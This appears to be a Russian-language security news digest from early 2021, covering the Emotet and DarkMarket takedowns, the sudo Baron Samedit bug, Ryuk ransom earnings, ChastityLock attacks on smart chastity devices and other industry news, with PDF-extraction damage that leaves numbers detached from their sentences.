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ЛИКВИДАЦИЯ
EMOTET
Ев ропол,  ФБР  и  пра воох ранитель ные  орга ны  мно гих  стран  мира,  вклю чая
Великоб ританию,  Гер манию,  Канаду,  Лит ву,  Нидер ланды,  Укра ину  и  Фран‐ 
цию,  про вели  мас штаб ную  ско орди ниро ван ную  опе рацию  по  лик видации
бот нета Emotet, под готов ка к которой дли лась два года.

ИСТОРИЧЕСКАЯ СПРАВКА
Emotet появил ся еще в 2014 году и в пос ледние годы стал одной из наибо лее активных угроз
сре ди вре донос ных прог рамм. Мал варь рас простра нялась пре иму щес твен но с поч товым спа‐ 
мом, через вре донос ные докумен ты Word, Excel и про чие. Такие пись ма мог ли мас кировать ся
под инвой сы, нак ладные, пре дуп режде ния о безопас ности акка унта, приг лашения на вечерин ку
или под информа цию о рас простра нении корона виру са. Сло вом, хакеры вни матель но сле дили
за мировы ми трен дами и пос тоян но совер шенс тво вали пись ма‐при ман ки.

Хо тя ког да‐то Emotet начинал свой путь как клас сичес кий бан ков ский тро ян, в ито ге угро за
силь но  видо изме нилась,  прев ратив шись  в  мощ ный  заг рузчик  со  мно жес твом  модулей,  а  ее
опе рато ры ста ли активно сот рудни чать с дру гими прес тупны ми груп пами.

Про ник нув  в  сис тему  жер твы,  Emotet  исполь зовал  заражен ную  машину  для  даль нейшей
рас сылки спа ма, а так же уста нав ливал на устрой ство самую раз ную допол нитель ную мал варь.
Зачас тую это были бан керы,  такие  как  Trickbot, май неры,  инфости леры,  а  так же шиф роваль‐ 
щики вро де Ryuk.

В сво ем отче те Евро пол называ ет Emotet «наибо лее опас ным вре донос ным
ПО  в  мире»,  а  так же  «одним  из  самых  выда ющих ся  бот нетов  пос ледне го
десяти летия». Лик видация этой мал вари, по мне нию пра воох раните лей, ста‐ 
нет одной из самых мас штаб ных опе раций такого рода, а так же ока жет мощ‐ 
ное вли яние на весь прес тупный мир.

«На  про тяже нии  дол гого  вре мени  Emotet  был  нашей  угро зой  номер
один, и его устра нение будет иметь боль шое зна чение. Emotet учас- 
тву ет  в  30%  всех  атак  вре донос ного  ПО,  так  что  его  успешная  лик- 
видация ока жет боль шое вли яние на всю кри миналь ную сре ду, — ком- 
менти рует  руково дитель  опе раций  Евро пей ско го  цен тра  по  борь бе
с  кибер прес тупностью  Фер нандо  Руис  (Fernando  Ruiz).  —  Мы  лик- 
видиро вали один из основных дроп перов на рын ке,  и  теперь навер- 
няка  воз никнет  про бел,  который попыта ются  запол нить дру гие прес- 
тупни ки. Но на некото рое вре мя [наша опе рация] ока жет положи тель- 
ное вли яние на кибер безопас ность».

Влас ти  сооб щили,  что  объ еди нен ными  уси лиями  им  уда лось  зах ватить  кон‐ 
троль над инфраструк турой Emotet и нарушить ее работу. В ито ге прес тупни‐ 
ки  лишились  воз можнос ти  исполь зовать  взло ман ные  машины,  а  мал варь
прек ратила рас простра нять ся на новые цели.

«Инфраструк тура  Emotet  вклю чала  нес коль ко  сотен  сер веров,  рас- 
положен ных  по  все му  миру,  и  каж дый  из  них  имел  раз ную 

  что бы  управлять  заражен ными  компь юте рами
жертв, рас простра нять ся на новые машины, обслу живать дру гие прес- 
тупные  груп пы и  в  ито ге  сде лать  сеть более  устой чивой  к  попыт кам
отклю чения», — пишут спе циалис ты Евро пола.

функциональность,

Хо тя  сер веры  прес тупни ков  были  рас положе ны  во  мно гих  стра нах  мира,
нидер ланд ские полицей ские заяви ли, что два из трех основных управля ющих
сер веров Emotet рас полага лись имен но в их стра не. Судя по все му, имен но
там  была  обна руже на  база  дан ных  укра ден ных  email‐адре сов,  имен  поль‐ 
зовате лей и паролей.  Теперь все жела ющие могут про верить,  не под верга‐ 
лись ли они взло му через Emotet, прос то посетив  .сайт полиции Нидер ландов

Так же пра воох раните ли говорят, что исполь зовали свой дос туп к управля‐ 
ющим  сер верам  для  раз верты вания  спе циаль ного  обновле ния  на  всех
заражен ных  хос тах.  Код  это го  обновле ния  содер жит  «бом бу  замед ленно го
дей ствия»:  этот  механизм  при ведет  к  уда лению  Emotet  со  всех  заражен ных
машин 25 апре ля 2021 года в 12:00 по мес тно му вре мени.

Спе циалис ты счи тают, что этот «зап ланиро ван ный сбой» фак тичес ки обну лит
Emotet,  вынудив  опе рато ров  мал вари  начинать  все  заново,  и  пре дос тавит
ИТ‐пер соналу по все му миру воз можность най ти и обе зопа сить заражен ные
устрой ства.

Впро чем, неиз вес тно, мно гие ли опе рато ры Emotet оста нут ся на сво боде
к  это му  вре мени.  Дело  в  том,  что  кибер полиция  Укра ины  уже  сооб щила
об  арес те  двух  человек,  чья  деятель ность  нанес ла  инос тран ным  бан кам
ущерб  в  раз мере  более  2,5  мил лиар да  дол ларов.  Сооб щает ся,  что  теперь
задер жанным гро зит до 12 лет лишения сво боды.

Ук раин ские пра воох раните ли опуб ликова ли на сво ем сай те видео арес тов
и  пос леду ющих  обыс ков.  В  ролике  вид но,  как  полиция  кон фиску ет  жес ткие
дис ки,  компь юте ры  и  дру гое  обо рудо вание,  а  так же  боль шие  сум мы  денег
и даже слит ки золота.

«Ана лиз  сче тов  прес тупной  груп пы,  сто ящей  за  Emotet,  показал,  что
за  два  года  толь ко  на  одной  плат форме  вир туаль ной  валюты  было
переме щено поряд ка 10,5 мил лиона дол ларов, — пишут пред ста вите- 
ли бри тан ско го Наци ональ ного агентства по борь бе с прес тупностью
(National Crime Agency, NCA). — Сле дова тели NCA смог ли уста новить,
что в этот пери од поч ти 500 тысяч дол ларов были пот рачены груп пой
на под держа ние сво ей кри миналь ной инфраструк туры».

DROPBOX УВОЛИТ   СОТРУДНИКОВ315

В начале янва ря ком пания Dropbox объ яви ла,  что собира ется повысить свою эффектив ность,
уво лив   сво их сот рудни ков, что сос тавля ет при мер но   от общей чис леннос ти шта та ком‐ 
пании. При этом руководс тво приз вало оставший ся пер сонал спло тить ся, сох ранять дис ципли‐ 
ну  (из‐за  пан демии  Dropbox  нав сегда  переве ла  сво их  сот рудни ков  на  уда лен ную  работу)
и готовить ся к работе над реали заци ей новых стра теги чес ких при ори тетов ком пании.

315 11%

Пос ле это го заяв ления акции ком пании упа ли на  .5%

НЕ ВСЕ ГОТОВЫ
ОТПУСТИТЬ FLASH
Как извес тно, еще в 2017 году ком пании Apple, Facebook, Google, Microsoft,
Mozilla, а так же сама ком пания Adobe анон сирова ли дату прек ращения под‐ 
дер жки  Flash.  Тех нологию  офи циаль но  «умер тви ли»  31  декаб ря  2020  года,
пос ле чего под дер жка Adobe Flash Player была окон чатель но оста нов лена.

В декаб ре Adobe выпус тила пос леднее обновле ние для Flash и ста ла жес‐ 
тко  совето вать  поль зовате лям  уда лить  при ложе ние  со  сво их  устрой ств.
К  тому  же  в  ком пании  не  раз  пре дуп режда ли,  что  начиная  с  12  янва‐ 
ря 2021 года Adobe ста нет бло киро вать запуск любого Flash‐кон тента, а в код
ПО заранее встро или спе циаль ный механизм для само унич тожения.

Од нако не у всех ком паний «рас ста вание» с тех нологи ей прош ло глад ко.
Так, в середи не янва ря изда ние Apple Daily сооб щило, что прек ращение под‐ 
дер жки  и  работы  Flash  ста ло  неожи дан ностью  для  сот рудни ков  желез‐ 
нодорож ной сис темы в китай ской про вин ции Ляонин.

Же лез нодорож ное ПО China Railway Shenyang стро илось на базе Flash, и,
как писали жур налис ты, пос ле отклю чения тех нологии 12 янва ря сот рудни ки
фак тичес ки  лишились  воз можнос ти  сос тавлять  гра фики  дви жения  поез дов,
сле дить  за  их  работой  и,  по  сути,  потеря ли  кон троль  над  всей  сис темой.
Сооб щалось, что в резуль тате желез нодорож ное сооб щение в Даляне (про‐ 
вин ция Ляонин) ока залось прер вано.

По дан ным Apple Daily, проб лему уда лось решить лишь на сле дующий день
с  помощью  уста нов ки  пират ской  вер сии  Flash.  Впро чем,  как  выяс нилось
вско ре, в матери ал зак ралась неточ ность из‐за слож ности перево да с китай‐ 
ско го  язы ка.  Так,  под робный  отчет  о  слу чив шемся  был  опуб ликован  офи‐ 
циаль ными лицами в китай ской соци аль ной сети QQ, и речь в нем шла все же
не о пират ском соф те, а о дру гой вер сии Flash, не име ющей кода для авто‐ 
мати чес кого само унич тожения. На самом деле китай ские желез нодорож ники
переш ли на спе циаль ную вер сию Flash, которую Adobe про дол жает выпус кать
исклю читель но для Под небес ной.

Бо лее того, судя по сооб щени ям китай ских СМИ, дан ные Apple Daily ока‐ 
зались  не  сов сем  вер ны,  а  ситу ация  выш ла  не  такой  дра матич ной.  Из‐за
прек ращения  работы  Flash  желез нодорож ное  сооб щение  в  Даляне  все  же
не  пре рыва лось,  хотя  некото рые  внут ренние  сис темы  желез нодорож ников
дей стви тель но перес тали работать.

Од нако проб лемы китай ских желез нодорож ников мер кнут перед тем, что
про изош ло  в  ЮАР.  Дело  в  том,  что  12  янва ря  у  налого вой  служ бы  ЮАР
начались  проб лемы:  ведомс тво  перес тало  получать  налого вые  дек ларации
через  свой  сайт,  так  как фор мы  для  их  заг рузки  пред став ляли  собой  Flash‐
вид жеты.

Но вмес то законо мер ного отка за от Flash и заб лагов ремен ного перехо да
на  исполь зование  HTML  или  JS  влас ти ЮАР  пош ли  на  нет риви аль ный шаг.
Налого вая служ ба пред ста вила собс твен ный бра узер SARS eFiling Browser —
уре зан ную  вер сию  Chromium  с  дву мя  основны ми  фун кци ями.  Так,  бра узер
вновь  вклю чает под дер жку Flash и дает поль зовате лям дос туп  к  сай ту SARS
eFiling. К счастью, бра узер поз воля ет зай ти исклю читель но на офи циаль ный
сайт налого вой служ бы, что нем ного сни жает воз можные рис ки для его поль‐ 
зовате лей.

При  этом  SARS  eFiling  Browser  дос тупен  толь ко  для Windows,  то  есть  поль‐ 
зовате ли  macOS,  Linux  и  мобиль ных  ОС  по‐преж нему  не  могут  подавать
налого вые дек ларации.

ДУРОВ О МИФАХ, ОКРУЖАЮЩИХ TELEGRAM
В сво ем Telegram‐канале Павел Дуров решил раз венчать нес коль ко мифов, окру жающих мес‐ 
сен джер. По его сло вам, такую невер ную информа цию рас простра няют в сети боты, жела ющие
очер нить Telegram, и сто ят за этим в том чис ле Facebook и WhatsApp.

→ «Миф 1:  „Telegram не опен сор сный“. На самом деле все кли ент ские при ложе ния Telegram
име ют  откры тый  исходный  код  с  2013  года.  Наше шиф рование  и  API  пол ностью  задоку мен‐ 
тирова ны и тысячи раз прос матри вались экспер тами по безопас ности. Кро ме того, Telegram —
единс твен ное в мире при ложе ние для обме на сооб щени ями, которое име ет верифи циру емые
сбор ки для  iOS и Android. Что каса ется WhatsApp, они намерен но обфусци руют свой код, что
дела ет невоз можной про вер ку их шиф рования и при ват ности.

Миф  2:  „Telegram  рус ский“.  На  самом  деле  Telegram  не  име ет  ни  сер веров,  ни  офи сов
в Рос сии и был заб локиро ван там с 2018 по 2020 год. В некото рых авто ритар ных стра нах, нап‐ 
ример в Ира не, Telegram бло киру ют до сих пор, а у WhatsApp и дру гих яко бы „безопас ных“ при‐ 
ложе ний в этих мес тах никог да не воз никало проб лем.

Миф  3:  „Telegram  не  шиф рует ся“.  Каж дый  чат  в  Telegram шиф рует ся  с  момен та  запус ка.
У нас есть сек ретные чаты с шиф ровани ем end‐to‐end и облачные чаты, которые так же пред‐ 
лага ют  безопас ное  и  рас пре делен ное  облачное  хра нили ще  в  режиме  реаль ного  вре мени.
WhatsApp,  с  дру гой  сто роны,  не  имел  никако го шиф рования  нес коль ко  лет,  а  затем  исполь‐ 
зовал  про токол  шиф рования,  финан сиру емый  пра витель ством  США.  Даже  если  мы  пред‐ 
положим, что шиф рование WhatsApp надеж ное, оно сво дит ся на нет из‐за нес коль ких бэк доров
и зависи мос ти от резер вных копий»
— Павел Дуров в сво ем Telegram‐канале

580 ТЫСЯЧ
ДОЛЛАРОВ
ИЛОНУ МАСКУ
Мы не раз писали о том, что мошен ники час то выда ют себя за Ило на Мас ка
и ком панию SpaceX, прик рывая тем самым свою вре донос ную деятель ность.
В час тнос ти, прес тупни ки очень любят про водить от име ни Мас ка фей ковые
раз дачи  крип товалют  в  соци аль ных  сетях,  обе щая поль зовате лям огромные
при были,  если  те  сна чала  отпра вят  им  нем ного  бит кой нов.  Нап ример,
в 2018 году такая афе ра в Twitter при нес ла мошен никам более 

 все го за один день.
180 тысяч дол‐ 

ларов
Хо тя годы идут, а у мно гих извес тных людей в про филях дав но появи лись

не  толь ко  галоч ки  верифи кации акка унтов,  но и  нед вусмыс ленные при пис ки
в  духе  «не  раз даю  крип товалю ту!»,  мно жес тво  поль зовате лей  по‐преж нему
верит в такие фей ки и полага ет, что Илон Маск, братья Уинк лвосс, Билл 
и дру гие извес тные лич ности дей стви тель но могут раз давать бит кой ны всем
жела ющим.  Недав но  такая  активность  вновь  учас тилась,  и  мошен ники  уже
успе ли неп лохо «зарабо тать».

Гейтс

На всплеск мошен ничес кой активнос ти в Twitter обра тил вни мание иссле‐ 
дова тель MalwareHunterTeam. Он сооб щил, что все боль ше верифи циро ван‐ 
ных  акка унтов  под верга ются  взло му,  а  затем  исполь зуют ся  хакера ми
для  прод вижения  оче ред ной  фаль шивой  раз дачи  крип товалю ты  от  име ни
Ило на Мас ка. При меры таких афер мож но уви деть на скрин шотах ниже.

Продолжение статьи →
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Обыч но  такие  тви ты  содер жат  ссыл ки,  которые  перенап равля ют  жертв
в Medium, где в статье рек ламиру ется фик тивная раз дача бит кой нов. Схе ма
по‐преж нему  прос та:  поль зовате лей  про сят  прис лать  какое‐то  количес тво
крип товалю ты, обе щая вер нуть обратно уже удво енную сум му.

Боль шинс тво  взло ман ных  ради  это го  мошен ничес тва  учет ных  записей
были  неак тивны  дли тель ное  вре мя.  Так же  иссле дова тели  напоми нают,  что
в  прош лом  году  пос ле    Twitter  вооб ще  отка зал ся
от верифи кации учет ных записей, и теперь такие акка унты поль зуют ся у зло‐ 
умыш ленни ков  еще  боль шим  спро сом,  а  за  неак тивны ми  акка унта ми  идет
нас тоящая охо та.

мас штаб ной  ата ки

По  дан ным  экспер тов,  все го  за  неделю  такие  афе рис ты  получа ют
более 580 тысяч дол ларов в бит кой нах.

ПИРАТСКИЕ ПЛАГИНЫ И ТЕМЫ —
ИСТОЧНИК МАЛВАРИ № 1
Ана лити ки Wordfence под вели ито ги 2020 года и приш ли к выводу, что пират ские вер сии тем
и пла гинов для WordPress ста ли основным источни ком рас простра нения мал вари сре ди Word‐
Press‐сай тов.

В  прош лом  году Wordfence  обна ружи ла  свы ше    вре донос ных фай лов  более  чем
на   сай тов под управле нием WordPress.

70  000  000
1 200 000

 сай тов (более   от обще го количес тва) зарази лись мал варью из‐за исполь зования
раз личных пират ских (nulled) пла гинов и тем.
206 000 17%

Боль шинс тво  из  этих    ресур сов  (   сай тов)  пос тра дали  от  мал вари WP‐VCD,
сущес тву ющей  с  2017  года.  Эта  вре донос ная  кам пания  была  нас толь ко  успешной,  что
в 2020 году на нее при ходи лось   всех заражен ных сай тов.

206  000 154  928

13%

Так же в прош лом году было зафик сирова но более   вре донос ных и авто мати‐ 
зиро ван ных попыток вхо да в сис тему. Эти ата ки совер шались с    IP‐адре сов,  «на
ско рос ти»   попыток вхо да в сис тему в секун ду.

90 000 000 000
57 000 000

2800

Еще    атак  приш лись  на  попыт ки  исполь зования  раз личных  багов.  Наибо лее
рас простра нен ной фор мой уяз вимос тей стал  , наряду с  ,

,   и  .

4  300  000  000
об ход катало га SQL-инъ екци ями

RCE-уяз вимос тями XSS об ходом аутен тифика ции

ДРЕВНЯЯ
УЯЗВИМОСТЬ
В SUDO
Спе циалис ты ком пании Qualys обна ружи ли в sudo уяз вимость CVE‐2021‐3156,
получив шую наз вание Baron Samedit.  Баг  зат рагива ет  боль шинс тво  дис три‐ 
бути вов  Linux  и  может  исполь зовать ся  для  получе ния  root‐дос тупа.  В  нас‐ 
тоящее вре мя уяз вимость уже исправ лена в sudo вер сии 1.9.5p2. Кро ме того,
иссле дова тели заранее пре дуп редили о проб леме и раз работ чиков дис три‐ 
бути вов, так что для боль шинс тва из них уже тоже дос тупны пат чи.

Уяз вимость может  исполь зовать ся  для  получе ния  root‐дос тупа  зло умыш‐ 
ленни ком, который, к при меру, уже име ет дос туп к низ ко при виле гиро ван ной
учет ной записи. При этом учет ная запись может даже отсутс тво вать в фай ле
кон фигура ции  /etc/sudoers,  который  опре деля ет,  каким  поль зовате лям  раз‐ 
решен дос туп к коман дам su или sudo.

Ин терес но  и  то,  что,  по  дан ным Qualys,  баг  появил ся  в  коде  sudo  еще  в
июле 2011 года и при сутс тву ет во всех вер сиях ути литы, выпущен ных за пос‐ 
ледние  десять  лет.  Так,  экспер там  уда лось  соз дать  и  про верить  экс пло иты
для этой  уяз вимос ти под Ubuntu 20.04  (sudo 1.8.31), Debian 10  (sudo 1.8.27)
и Fedora 33  (sudo 1.9.2),  хотя  уяз вимыми могут быть и дру гие ОС и дис три‐ 
бути вы.

В отли чие от дру гих багов в sudo, най ден ных в пос ледние годы (нап ример,
CVE‐2019‐14287 и CVE‐2019‐18634), Baron Samedit впол не может при менять‐ 
ся в реаль ной жиз ни, так как не тре бует каких‐либо необыч ных и слож ных нас‐ 
тро ек sudo.

 ДОЛЛАРОВ ДЛЯ ОПЕРАТОРОВ RYUK150 000 000

ИБ‐иссле дова тели из ком паний Advanced Intelligence и HYAS под счи тали, что «зарабо ток» опе‐ 
рато ров мал вари Ryuk сум марно нас читыва ет более    дол ларов  в бит койн‐экви‐ 
вален те. Такой вывод был сде лан исхо дя из наб людений за   бит койн‐адре сом, из чис ла тех,
что свя зыва ют с ата ками Ryuk.

150 000 000
61

Од на  из  круп ней ших  тран закций Ryuk,  обна ружен ная  в  ходе  это го  рас сле дова ния,  сос тавила
более    дол ларов  (   бит кой нов  по  кур су  на  тот  пери од),  при чем  это  далеко
не самый высокий выкуп, уста нов ленный зло умыш ленни ками.

5  000  000 365

УЯЗВИМОСТИ
В МАЛВАРИ
В  начале  янва ря  2021  года  начал  работу  весь ма  инте рес ный  про ект:  спе‐ 
циалист  по  информа цион ной  безопас ности  и  баг хантер  Джон  Пей дж  (John
Page) зас кучал во вре мя каран тина и соз дал сайт  , где собира ет дан‐ 
ные о багах и уяз вимос тях, обна ружен ных в коде раз личных вре доно сов. Пей‐ 
дж наде ется, что со вре менем дру гие ИБ‐экспер ты смо гут исполь зовать эту
информа цию для отклю чения и уда ления вре донос ных прог рамм на заражен‐ 
ных хос тах во вре мя реаги рова ния на инци ден ты.

MalVuln

Сайт Пей джа пред став ляет собой типич ный пор тал для рас кры тия дан ных
об  уяз вимос тях. На нем перечис лены наз вания проб лемно го  прог рам мно го
обес печения  (наз вания  мал вари),  тех ничес кие  под робнос ти  най ден ных
багов, а так же пуб лику ется код PoC‐экс пло итов, что бы дру гие иссле дова тели
мог ли вос про извести опи сан ные проб лемы.

Сей час  на  MalVuln  опуб ликова ны  детали  45  уяз вимос тей.  Некото рые
из этих отче тов каса ются акту аль ных угроз, таких как Phorpiex (Trik), но так же
здесь мож но  най ти опи сания  проб лем  в  ста рой мал вари,  нап ример Bayrob.
Пей дж  объ ясня ет,  что  все  эти  баги  он  нашел  сам.  «Пос торон них  заявок
не пос тупало, и в нас тоящее вре мя я их не при нимаю», — говорит иссле дова‐ 
тель,  хотя  на  сай те  ука зан  PGP‐ключ,  а  в  будущем  пла ниру ется  получать
информа цию об уяз вимос тях от дру гих спе циалис тов.

Соз дание  MalVuln  зат рагива ет  весь ма  щекот ливую  тему,  которую  ред ко
откры то обсужда ют в ИБ‐сооб щес тве. Дело в том, что на про тяже нии десяти‐ 
летий  ИБ‐спе циалис ты  взла мыва ли  мал варь  и  про води ли  тай ные  опе рации
про тив  хакеров,  экс плу ати руя  ошиб ки  и  уяз вимос ти  в  коде их мал вари.  Так,
«хорошие  пар ни»  неред ко  взла мыва ют  управля ющие  сер веры  вре доно сов,
что бы  получить  дан ные  о  жер твах,  или  исполь зуют  ошиб ки  в  коде мал вари,
что бы отклю чить и уда лить ее из заражен ных сис тем.

По этой при чине мно гие оста лись недоволь ны запус ком MalVuln, ведь сайт
рас кры вает  тща тель но  охра няемые  сек реты  ИБ‐экспер тов  и  кос венно
помога ет опе рато рам вре донос ных прог рамм, ука зывая им на ошиб ки в коде,
что в ито ге меша ет эффектив ной работе спе циалис тов.

Пей дж  заяв ляет,  что  его  не  вол нует  такая  кри тика  и  оста нав ливать ся  он
не пла ниру ет:

«Я занима юсь сво им делом и не несу ответс твен ности. Обыч но [такое
мне ние  выс казыва ют]  те  же  люди,  которые  счи тают,  что  уяз вимос ти
в целом не дол жны быть пуб личны ми, потому что это помога ет  зло- 
умыш ленни кам».

СУНДЕ ПОСМЕЯЛСЯ НАД БЕДАМИ PARLER
Один из осно вате лей леген дарно го тре кера The Pirate Bay — Петер Сун де рас кри тико вал раз‐ 
работ чиков  сер виса  Parler.  Дело  в  том,  что,  ког да  Parler  ста ли  исполь зовать  сто рон ники
Дональ да Трам па, сер вис был отклю чен от сер веров Amazon Web Services, заб локиро ван в App
Store  и Google  Play,  а  раз работ чиков  заб локиро вали  даже  Twilio  Inc  и Slack  Technologies  Inc.
В ито ге ком пания ста ла в интерне те нас тоящим изго ем. Вла дель цы сер виса писали, что Parler
может  вооб ще  никог да  не  вер нуть ся  к  работе,  и  в  целом были  нас тро ены  весь ма  пес симис‐ 
тично.

→ «The Pirate Bay, самый цен зуриру емый сайт в мире, осно ван ный деть ми и кон тро лиру емый
людь ми, которые име ют проб лемы с алко голем, нар котика ми и день гами, до сих пор сущес тву‐ 
ет, спус тя поч ти два десяти летия. У Parler и Gab [соци аль ная сеть, извес тная сво ими радикаль‐ 
но  пра выми  сооб щес тва ми]  есть  любые  день ги,  но  нет  навыков  и  нуж ного  обра за  мыс лей.
Стыд но.

Но  самая  боль шая  иро ния  сос тоит  в  том,  что  в  чис ло  вра гов  TPB  вхо дят  не  толь ко  пра‐ 
витель ство  США,  но  и  мно гие  евро пей ские  и  рос сий ское  пра витель ства.  Срав ните  с  Parler
и Gab, которых под держи вает нынеш ний пре зидент США и, веро ятно, одоб ряет и рос сий ский.

Го воря откро вен но, при чина, по которой мы сде лали TPB, зак лючалась в том, что мы хотели
при нес ти сво боду и отоб рать кон троль у цен тра лизо ван ной сис темы. При чина, по которой Gab,
Parler и дру гие падут, сос тоит в том, что они прос то ску лящие суч ки, у которых есть лишь одна
иде оло гия: эго изм. Sharing is caring, народ»
— Сун де в сво ем Twitter

ВЗЛОМ ПОЯСОВ
ВЕРНОСТИ
Осенью  2020  года  иссле дова тели  из  ком пании  Pen  Test  Partners 
о  небезо пас ности  край не  необыч ных  гад жетов — муж ских  поясов  вер ности
Cellmate про изводс тва китай ской ком пании Qiui.

со обща ли

Тог да ана лити ки писали,  что  у  устрой ств мно жес тво проб лем с безопас‐ 
ностью  и  их  могут  уда лен но  бло киро вать  и  откры вать  и  хакеры,  а  руч ного
управле ния  для  «ава рий ного»  откры вания  или  физичес кого  клю ча  для  Cell‐
mate  поп росту  не  пре дус мотре но.  То  есть  заб локиро ван ные  поль зовате ли
мог ли ока зать ся в край не неп рият ном положе нии.

Ос новная проб лема Cellmate зак лючалась в его API, который исполь зует ся
для свя зи меж ду гад жетом и спе циаль ным мобиль ным при ложе нием. API ока‐ 
зал ся открыт  любому жела юще му и не  защищен паролем,  а из‐за это го  кто
угод но  может  зах ватить  кон троль  над  устрой ством  любого  поль зовате ля.
Это  не  толь ко  мог ло  поз волить  хакерам  уда лен но  управлять  Cellmate,  но  и
помога ло  получить  дос туп  к  информа ции  жер твы,  вклю чая  дан ные  о  мес‐ 
тополо жении и пароли.

«Зло умыш ленни ку не понадо бит ся боль ше пары дней, что бы получить
всю  базу  дан ных  поль зовате лей  и  исполь зовать  ее  для  шан тажа
или фишин га», — пре дуп режда ли экспер ты Pen Test Partners.

К сожале нию, осенью раз работ чики Cellmate не смог ли сра зу устра нить все
най ден ные  иссле дова теля ми  проб лемы,  зато  выпус тили  видео,  в  котором
про демонс три рова ли, что ава рий но открыть пояс вер ности все же воз можно
при помощи обыч ной отвер тки. В нас тоящее вре мя все уяз вимос ти уже дол‐ 
жны  быть  зак рыты,  и  пос ледняя  вер сия  при ложе ния  может  счи тать ся
безопас ной.

Но теперь изда ние Bleeping Computer, со ссыл кой на vx‐underground, пре‐ 
дуп редило, что при ложе ние Cellmate явно обно вили не все и мрач ные прог‐ 
нозы  спе циалис тов  сбы вают ся.  Как  выяс нилось,  вско ре  пос ле  рас кры тия
информа ции о проб лемах хакеры ста ли ата ковать поль зовате лей при ложе ния
Qiui  Cellmate  и  бло киро вать  их  устрой ства.  За  раз бло киров ку  у  жертв  тре‐ 
бова ли 0,02 бит кой на (око ло 270 дол ларов по кур су на момент атак).

Ис сле дова тели  vx‐underground  опуб ликова ли  исходный  код  вымога теля
ChastityLock  в  откры том  дос тупе,  получив  его  от  неназ ванных  треть их  лиц,
в свою оче редь получив ших его от  хакеров. Вско ре в сети появил ся ана лиз
это го вре доно са. Мал варь содер жит код, который свя зыва ется с эндпой нта‐ 
ми  API  Qiui  для  извле чения  информа ции  о  поль зовате лях,  отправ ки  сооб‐ 
щений в при ложе ния жертв и добав ления дру зей.

Ху же того, ата кующие не толь ко вымога ли день ги у поль зовате лей небезо‐ 
пас ных секс‐игру шек, но и изде вались над ними. К при меру, пос ле бло киров‐ 
ки  зло умыш ленни ки  писали  пос тра дав шим,  что  исполь зовали  магию,  что бы
взять под кон троль их гад жет. Впро чем, по дан ным изда ния, в ито ге ник то так
и не зап латил хакерам выкуп.

ТРЕКЕРЫ В РОССИЙСКИХ ПРИЛОЖЕНИЯХ
Из дание «Ком мерсант», ссы лаясь на ана лити чес кую запис ку АНО «Информа цион ная куль тура»,
сооб щило,  что    рос сий ских  государс твен ных  мобиль ных  при ложе ний  переда ют  дан ные
о  поль зовате лях  аме рикан ским  ком пани ям,  вклю чая Google,  Facebook  и Microsoft.  Затем  эти
дан ные могут исполь зовать ся для изу чения поль зовате лей и тар гетиро ван ной рек ламы.
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Спе циалис ты  про ана лизи рова ли    государс твен ных  при ложе ния,  вклю чая  сер висы 
,  ,  ,  ,

.

44 «Мос- 
ков ский тран спорт» «Активный граж данин» «МВД Рос сии» «Доб родел»
«Налоги физ лиц»

  про ана лизи рован ных  при ложе ний  име ют  хотя  бы  один  встро енный  сто рон ний  тре кер
и переда ют дан ные ком мерчес ким ком пани ям.
88%

Боль ше  все го  тре керов  наш ли  в  при ложе ниях  «Мос ков ский  тран спорт»  (   тре керов)  и  «Мои
докумен ты онлайн» (  тре керов).
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  исполь зуемых  тре керов  в  государс твен ных  мобиль ных  при ложе ниях  отно сит ся
к  ана лити чес кому  типу,  дан ные  о  геоло кации  собира ет    тре керов,  в  рек ламных  целях  —

.

По лови на
15%

15%

Боль шая  часть  тре керов,  исполь зуемых  в  государс твен ных мобиль ных  при ложе ниях,  при над‐ 
лежит ком пани ям из США ( ), в том чис ле  ,   и  .86% Google Facebook Microsoft

Как ока залось, без встро енных «маяч ков» работа ют толь ко   при ложе ний:  , 
,  ,   и  .

5 ЕГР ЗАГС «Госус- 
луги.Дороги» «Липец кая область» HISTARS «Работа в Рос сии»

МАРКЕТПЛЕЙСЫ
ЗАКРЫВАЮТСЯ
Пред ста вите ли Евро пола объ яви ли, что пра воох ранитель ные орга ны Авс тра‐ 
лии, Великоб ритании,  Гер мании, Дании, Мол довы, США и Укра ины про вели
сов мес тную  опе рацию,  в  резуль тате  которой  в  дар кне те  был  зак рыт  один
из круп ней ших мар кет плей сов — DarkMarket. Как и на дру гих подоб ных пло‐ 
щад ках, на DarkMarket про дава ли и покупа ли нар котики, фаль шивые день ги,
ворован ные дан ные бан ков ских карт, ано ним ные SIM‐кар ты, мал варь и мно‐ 
жес тво дру гих нелегаль ных товаров и услуг.

По ста тис тике влас тей, под поль ная тор говая пло щад ка нас читыва ла свы‐ 
ше 500 тысяч поль зовате лей, более 2400 из которых были про дав цами. Сум‐ 
марно  на  DarkMarket  было  совер шено  более  320  тысяч  тран закций,  общей
сто имостью 4650 BTC и 12 800 Monero (в общей слож ности око ло 140 мил‐ 
лионов евро).

Мас штаб ная  опе рация  пра воох раните лей  при вела  к  арес ту  одно го
челове ка: недале ко от  гер ман ско‐дат ской  гра ницы был задер жан 34‐лет ний
граж данин  Авс тра лии,  чье  имя  не  раз гла шает ся.  Сооб щает ся,  что  он  был
одним из вдох новите лей и опе рато ров мар кет плей са.

Кро ме  того,  Евро пол  заявил,  что  пра воох раните ли  отклю чили  и  арес‐ 
товали более 20 сер веров DarkMarket, базиро вав шихся в Мол дове и Укра ине,
и теперь извле чен ные с этих сер веров дан ные будут исполь зованы для даль‐ 
нейше го выяв ления и прес ледова ния модера торов, про дав цов и покупа телей
тор говой пло щад ки.

Нес коль кими  дня ми  поз же  о  зак рытии  объ яви ли  опе рато ры  Joker’s
Stash — одно го из круп ней ших кар дер ских ресур сов в сети. Адми нис тра ция
анон сирова ла, что сайт прек ратит работу 15 фев раля 2021 года. Пос ле этой
даты все сер веры яко бы будут стер ты, а резер вные копии уда лены.

Joker’s Stash работа ет с осе ни 2014 года и час то пуб лику ет пакеты укра‐ 
ден ных дан ных пла теж ных карт. Эти дан ные могут исполь зовать ся для мошен‐ 
ничес ких тран закций как типа CP (кар та при сутс тву ет), так и типа CNP (кар та
отсутс тву ет).

Ре сурс неред ко попадал на стра ницы СМИ и в отче ты экспер тов, так как на
сай те вре мя от вре мени «всплы вали» огромные дам пы, содер жащие дан ные
мил лионов бан ков ских карт. К при меру, из недав него мож но вспом нить дамп

,  име ющий  отно шение  к  ком про мета ции  аме рикан ской
сети  магази нов  Wawa,  или    кре дит ных  и  дебето вых  карт,
выпущен ных бан ками и финан совыми орга низа циями Южной Кореи и США.

BIGBADABOOM‐III
круп ную  утеч ку

